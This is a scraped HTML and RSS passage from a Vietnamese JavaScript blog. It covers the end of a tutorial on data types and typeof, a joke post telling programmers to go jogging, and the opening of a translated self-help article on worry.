0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu string</h3> <p>String là kiểu dữ liệu dùng để biểu diễn chữ, văn bản, đoạn văn bản,...</p> <p>Có ba cách để biểu diễn string trong JavaScript:</p> <ul> <li>Dùng dấu nháy đơn (<code>'</code>)</li> <li>Dùng dấu nháy kép (<code>"</code>)</li> <li>Dùng dấu "backtick" (<code>`</code>)</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">const msg1 = 'Đây là string dùng dấu nháy đơn'; const msg2 = "Đây là string dùng dấu nháy kép"; const msg3 = `Đây là string dùng dấu backtick`;</code></pre></div> <p>Dấu nháy đơn và dấu nháy kép là hoàn toàn giống nhau.</p> <p>Riêng với dấu "backtick", bạn có thể sử dụng biến, hằng hoặc thậm chí viết một biểu thức trong đó, với cú pháp <code>${…}</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Truyền biến vào trong dấu "backtick"</span> <span class="token keyword">let</span> name <span class="token operator">=</span> <span class="token string">"Lam"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">My name is </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// My name is Lam</span> <span class="token comment">// Truyền hằng vào trong dấu "backtick"</span> <span class="token keyword">const</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">You are learning </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>language<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// You are learning JavaScript</span> <span class="token comment">// Truyền vào biểu thức</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1 + 2 = </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token number">1</span> <span class="token operator">+</span> <span class="token number">2</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1 + 2 = 3</span></code></pre></div> <blockquote> <p>String trong JavaScript có thể chỉ gồm 1 kí tự <code>"a"</code>, nhiều kí tự <code>"abc"</code> hoặc không kí tự nào <code>""</code> (empty string).</p> </blockquote> <h3 id="kiểu-dữ-liệu-symbol" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-symbol" aria-label="kiểu dữ liệu symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu symbol</h3> <p>Symbol là một kiểu dữ liệu nguyên thủy dùng để tạo ra các giá trị duy nhất (<strong>unique value</strong>) và bất biến (<strong>immutable</strong>). Symbol thường được dùng làm <strong>key</strong> cho kiểu dữ liệu <strong>object</strong> sau đây.</p> <blockquote> <p>Mình đã viết một bài chi tiết về Symbol. Bạn có thể <a href="/tim-hieu-ve-symbol-trong-javascript/">tìm hiểu về Symbol trong JavaScript</a> để hiểu nhiều hơn về kiểu dữ liệu này.</p> </blockquote> <h3 id="kiểu-dữ-liệu-object" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-object" aria-label="kiểu dữ liệu object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu object</h3> <p>Object là kiểu dữ liệu tham chiếu. Có thể hiểu <strong>object</strong> là một tập hợp gồm các cặp <strong>key - value (khóa - giá trị)</strong>.</p> <p>Trong đó, kiểu dữ liệu của <strong>key</strong> có thể là <strong>string</strong> hoặc <strong>symbol</strong>. Và <strong>value</strong> ứng với <strong>key</strong> có thể là bất kỳ kiểu dữ liệu nào.</p> <blockquote> <p>Mình sẽ tìm hiểu sâu hơn về <strong>object</strong> trong bài viết <a href="/object-la-gi-object-trong-javascript/">JavaScript Object - last but not least</a>.</p> </blockquote> <h2 id="cách-xác-định-kiểu-dữ-liệu-của-biến" style="position:relative;"><a href="#c%C3%A1ch-x%C3%A1c-%C4%91%E1%BB%8Bnh-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-c%E1%BB%A7a-bi%E1%BA%BFn" aria-label="cách xác định kiểu dữ liệu của biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách xác định kiểu dữ liệu của biến</h2> <p>Như mình đã nói ở trên, một biến trong JavaScript có thể thuộc bất kỳ kiểu dữ liệu nào. Để xác định kiểu dữ liệu hiện tại của một biến, JavaScript cung cấp cho bạn <code>typeof</code>, với hai loại cú pháp:</p> <ul> <li>Dạng toán tử <code>typeof x</code>.</li> <li>Dạng hàm <code>typeof(x)</code>.</li> </ul> <p>Kết quả trả về sẽ là một <code>string</code> ứng với tên của kiểu dữ liệu. Ví dụ về toán tử <code>typeof</code> với các kiểu dữ liệu trong JS:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> x <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// boolean</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// number</span> x <span class="token operator">=</span> <span class="token number">1234567891234567890123456789125345362n</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// bigint</span> x <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// string</span> <span class="token comment">// (1)</span> <span class="gatsby-highlight-code-line">x <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// symbol</span></span> <span class="token comment">// (2)</span> <span class="gatsby-highlight-code-line">x <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">n</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object</span></span> <span class="token comment">// (3)</span> <span class="gatsby-highlight-code-line">x <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object</span></span></code></pre></div> <blockquote> <p>Cần nói thêm về ba trường hợp (1), (2), (3).</p> <p>(1): Cách khởi tạo <strong>symbol</strong> sẽ trình bày chi tiết ở bài <a href="/tim-hieu-ve-symbol-trong-javascript/">tìm hiểu về Symbol trong JavaScript</a>.</p> <p>(2): Cách tạo <strong>object</strong> sẽ trình bày chi tiết ở bài <a href="/object-la-gi-object-trong-javascript/">JavaScript Object - last but not least</a>.</p> <p>(3): Đây có thể coi là một lỗi của <code>typeof</code> được tạo ra khi JavaScript mới xuất hiện. Nhưng vì tính tương thích ngược, nên đặc điểm này của <code>typeof</code> vẫn được giữ đến bây giờ.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là tóm tắt những kiến thức cơ bản về các kiểu dữ liệu trong JavaScript:</p> <p>JavaScript có <strong>8 kiểu dữ liệu cơ bản</strong>, trong đó, có 7 kiểu dữ liệu nguyên thủy (<strong>boolean, null, undefined, number, BigInt, string, symbol</strong>) và 1 kiểu dữ liệu dạng tham chiếu (<strong>object</strong>).</p> <ul> <li>Kiểu dữ liệu <code>boolean</code>: bao gồm hai giá trị <code>true</code> và <code>false</code> dùng để biểu diễn <strong>đúng</strong> và <strong>sai</strong>.</li> <li>Kiểu dữ liệu <code>null</code>: chỉ gồm một giá trị <code>null</code>, dùng để biểu thị trạng thái <strong>không biết giá trị</strong>.</li> <li>Kiểu dữ liệu <code>undefined</code>: chỉ gồm một giá trị <code>undefined</code>, dùng để biểu thị trạng thái <strong>chưa gán giá trị</strong>.</li> <li>Kiểu dữ liệu <code>number</code>: dùng để biểu diễn số nguyên hoặc số thực. Trong đó, số nguyên giới hạn trong đoạn <code>±(2<sup>53</sup>-1</code>.</li> <li>Kiểu dữ liệu <code>BigInt</code>: dùng để biểu diễn số nguyên lớn, có độ dài tùy ý. Để biểu diễn số thuộc kiểu <code>BigInt</code>, bạn chỉ cần thêm chữ cái <code>n</code> ở cuối.</li> <li>Kiểu dữ liệu <code>string</code>: dùng để biểu diễn kí tự, chuỗi ký tự,... bằng cách sử dụng dấu nháy đơn (<code>'</code>), nháy kép (<code>"</code>) hoặc dấu "backtick" (<code>`</code>). Mỗi string có thể chứa một kí tự, nhiều kí tự hoặc không chứa kí tự nào (empty string).</li> <li>Kiểu dữ liệu <code>symbol</code>: dùng để tạo ra những giá trị duy nhất, thường dùng làm "key" cho <code>object</code>.</li> <li>Kiểu dữ liệu <code>object</code>: là tập hợp của các cập <strong>key-value</strong>.</li> </ul> <p>Để kiểm tra kiểu dữ liệu của một biến, bạn có thể sử dụng <code>typeof</code>.</p> <ul> <li>Có hai dạng: dạng toán tử <code>typeof x</code> hoặc ở dạng hàm <code>typeof(x)</code>.</li> <li>Kết quả trả về là một <code>string</code> ứng với tên của kiểu dữ liệu.</li> <li><code>typeof null</code> trả về <code>object</code>. Đây là một lỗi sơ khai của JavaScript. Thực chất, <code>null</code> không phải là <code>object</code>.</li> </ul>[email protected]<![CDATA[Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày]]><![CDATA[Chạy bộ là một trong những bài tập thể dục rất tốt cho sức khoẻ. Việc chạy bộ hằng ngày đem lại cho bạn những lợi ích về sức khoẻ như: Tốt cho tim mạch Ngăn ngừa ung thư vú Cải…]]>https://completejavascript.com/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/https://completejavascript.com/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/<![CDATA[Ảnh chế]]>Tue, 02 May 2017 15:09:45 GMT<p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLklEQVQoz12QUW/SUBTH+x2ND74v40ll2C0uS/bgi4kaY/wCJuo0S1CzdHEyGZBSaG9Hp7adbJS1t/e2t6PAEChFoHLMIGriL+fhn3Nycn45HEIIAEYLkiSJF0ynUwBgjFFKfvSHplp+/zjtOs7HV0/3Xz8XxbJpnlJKOVmWAaBarUpSRdO0UqmUz+cbjQYAUEqJiwFmHipIj7an425x95m0/+JcL7tNw3EcrlKpqKqaz+clqVwsFnVdF0VREIQwDBeXPYDk+9Eb6eUDAJB3H5Z2tr1m7dI9tR2HW2pHUTSZTJIkmc1mk8lkMBgAgH+Ndz0N6t16LjRKwcle3Mct93jQbbou4QRB6PV6jLHLBUEQLEMYhpp2cnyM8JninGvK57eFnSd19OmL9MFUDxg5VxTlernT6RBCKKW2bWOMl7ndbtc07euJ1g1bvkeo6xDi+j7FFw3XboatS6QgTlEUWEAIEQShWq3qur7sBIyZGI/n8ygaxfEY/jCfzwHAdV3uIJdTa5osK7quZ7NZURQNwzg8PCwUCkhRvl3YZ2Grzjza7wXDvj8atsejdhy3h0PTMLjc3rsmOuoEnm07giBks1mEEMbY933TMC2rQa3AUmkPjwdkOiCzXhCNf8YAYFkWV5MLMKO/kihJ5ldXV7Ztx3G8FFt+7q/nf9qMMe7WzRv87VT67p319fXNzftbW1sbGxvpdJrn+dXV1VQqxfP8WiaduZf5V2sZnudXVlZ+Ax+/IjavZi1iAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày" title="Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày" src="/static/4034c5f56c5640f32463b5c2dca11a96/7c811/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay-completejavascript.com_.png" srcset="/static/4034c5f56c5640f32463b5c2dca11a96/103f2/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay-completejavascript.com_.png 165w, /static/4034c5f56c5640f32463b5c2dca11a96/748ba/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay-completejavascript.com_.png 330w, /static/4034c5f56c5640f32463b5c2dca11a96/7c811/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay-completejavascript.com_.png 660w, /static/4034c5f56c5640f32463b5c2dca11a96/a27c6/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Chạy bộ là một trong những bài tập thể dục rất tốt cho sức khoẻ. Việc chạy bộ hằng ngày đem lại cho bạn những lợi ích về sức khoẻ như:</p> <ul> <li>Tốt cho tim mạch</li> <li>Ngăn ngừa ung thư vú</li> <li>Cải thiện giấc ngủ</li> <li>Giảm đau nhức cơ thể</li> <li>Giảm <a href="/thu-nen-lam-neu-suy-nghi-va-lo-lang-nhieu/">căng thẳng</a></li> <li>Cải thiện trí nhớ ở người cao tuổi</li> <li>Bảo vệ xương</li> <li><a href="/hoc-lap-trinh-javascript-nhanh-hon/">Tăng năng suất làm việc</a></li> <li>Tiết kiệm tiền bạc và thời gian</li> </ul> <h2 id="chuẩn-bị" style="position:relative;"><a href="#chu%E1%BA%A9n-b%E1%BB%8B" aria-label="chuẩn bị permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuẩn bị</h2> <p>Để bắt đầu chạy, bạn chỉ cần sắm cho mình một đôi giầy thượng đình 75K. Trước khi chạy, bạn nhớ uống một chút nước và khởi động kĩ để tránh chấn thương.</p> <h2 id="địa-điểm" style="position:relative;"><a href="#%C4%91%E1%BB%8Ba-%C4%91i%E1%BB%83m" aria-label="địa điểm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Địa điểm</h2> <p>Bạn có thể chạy ở khu mình sinh sống. Tốt nhất là chạy ở công viên, vì không khí trong lành, ít xe cộ, nhiều <a href="/anh-che-vui-3-how-i-met-javascript-parody/">gái xinh</a> (cái này tạo động lực chạy nhiều lắm nhé).</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Đừng như lập trình viên, hãy chạy bộ thường xuyên.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p> <h2 id="bài-viết-cùng-chuyên-mục" style="position:relative;"><a href="#b%C3%A0i-vi%E1%BA%BFt-c%C3%B9ng-chuy%C3%AAn-m%E1%BB%A5c" aria-label="bài viết cùng chuyên mục permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài viết cùng chuyên mục</h2> <ul> <li><a href="/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/">Ảnh chế vui #2: Code anh không có bug, tất cả chỉ là tính năng</a></li> <li><a href="/anh-che-vui-3-how-i-met-javascript-parody/">Ảnh chế vui #3: How I met JavaScript – Parody</a></li> <li><a href="/anh-che-vui-4-people-life-vs-programmer-life/">Ảnh chế vui #4: People life vs Programmer life</a></li> <li><a href="/anh-che-vui-5-specialist-vs-generalist-winner/">Ảnh chế vui #5: Specialist vs Generalist – who is the winner?</a></li> <li><a href="/anh-che-vui-6-type-programmer/">Ảnh chế vui #6: A type of programmer</a></li> <li><a href="/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/">Ảnh chế vui #7: IP man 4 phiên bản lập trình viên</a></li> </ul>[email protected]<![CDATA[Những thứ bạn nên làm nếu suy nghĩ và lo lắng quá nhiều]]><![CDATA[Lo lắng nhồi nhét vào cuộc sống của chúng ta. Những mụn trứng cá mới mọc, hạn chót của một nhiệm vụ hay sự lo lắng của chứng mất ngủ. Thường thì một suy nghĩ về những thứ đó đã là…]]>https://completejavascript.com/thu-nen-lam-neu-suy-nghi-va-lo-lang-nhieu/https://completejavascript.com/thu-nen-lam-neu-suy-nghi-va-lo-lang-nhieu/<![CDATA[Dịch blog]]>Mon, 01 May 2017 23:04:18 GMT<p>Lo lắng nhồi nhét vào cuộc sống của chúng ta. Những mụn trứng cá mới mọc, hạn chót của một nhiệm vụ hay sự lo lắng của chứng mất ngủ.</p> <p>Thường thì một suy nghĩ về những thứ đó đã là rất ngột ngạt rồi. Nhưng lo lắng như là những con sâu phá hủy sức khỏe, hay thậm chí là cuộc sống của bạn.</p> <p>Sau khi đọc xong bài này, bạn sẽ hiểu nhiều hơn về sự lo lắng là gì. Tiếp theo, bạn tìm cách đẩy lùi sự lo lắng và giành lại quyền kiểm soát cuộc sống của bạn.</p> <h2 id="nó-là-một-sự-không-chắc-chắn-thứ-đang-làm-bạn-rối-tung-lên" style="position:relative;"><a href="#n%C3%B3-l%C3%A0-m%E1%BB%99t-s%E1%BB%B1-kh%C3%B4ng-ch%E1%BA%AFc-ch%E1%BA%AFn-th%E1%BB%A9-%C4%91ang-l%C3%A0m-b%E1%BA%A1n-r%E1%BB%91i-tung-l%C3%AAn" aria-label="nó là một sự không chắc chắn thứ đang làm bạn rối tung lên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nó là một sự không chắc chắn, thứ đang làm bạn rối tung lên</h2> <p>Lo lắng có nhiều dạng. Tuy nhiên, một dạng phổ biến là tất cả sự lo lắng đều mang theo sự không chắc chắn. Thứ làm cho chúng ta thực sự lo lắng là một cảm giác vô hình.</p> <p>Thực sự, điều này đã được chứng minh bởi các nhà khoa học. Các nhà khoa học nói rằng: bộ não của chúng ta cần thông tin phản hồi ngay lập tức để đánh giá một tình huống và sau đó là quyết định hành động.</p> <p>Nếu chúng ta không có thông tin phản hồi và sự chắc chắn thì bạn đang sống trong một môi trường phản hồi chậm trễ. Và kết quả là những cảm xúc tiêu cực sẽ đột nhiên xuất hiện.</p> <h2 id="tạo-ra-những-thành-công-nhỏ" style="position:relative;"><a href="#t%E1%BA%A1o-ra-nh%E1%BB%AFng-th%C3%A0nh-c%C3%B4ng-nh%E1%BB%8F" aria-label="tạo ra những thành công nhỏ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo ra những thành công nhỏ</h2> <p>Để giảm bớt sự lo lắng, điều đầu tiên bạn có thể làm là tập trung vào những thành công nhỏ mỗi ngày. Nếu như sự thiếu thông tin phản hồi làm cho bạn lo lắng, thì hãy cung cấp thông tin phản hồi mà bộ não cần để vượt qua một tình huống.</p> <p>Khi bộ não nhận được thông tin phản hồi, những điều không chắc chắn sẽ giảm bớt tính không chắc chắn. Đồng thời, những sự lo âu cũng sẽ giảm bớt.</p> <p>Tốt hơn nữa, khi bạn tập trung vào những thông tin phản hồi tích cực mỗi ngày, bạn không chỉ làm giảm bớt điều không chắc chắn, mà bạn còn tạo ra động lực và niềm <a href="/tag/anh-che/">hạnh phúc</a> cho bản thân.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: 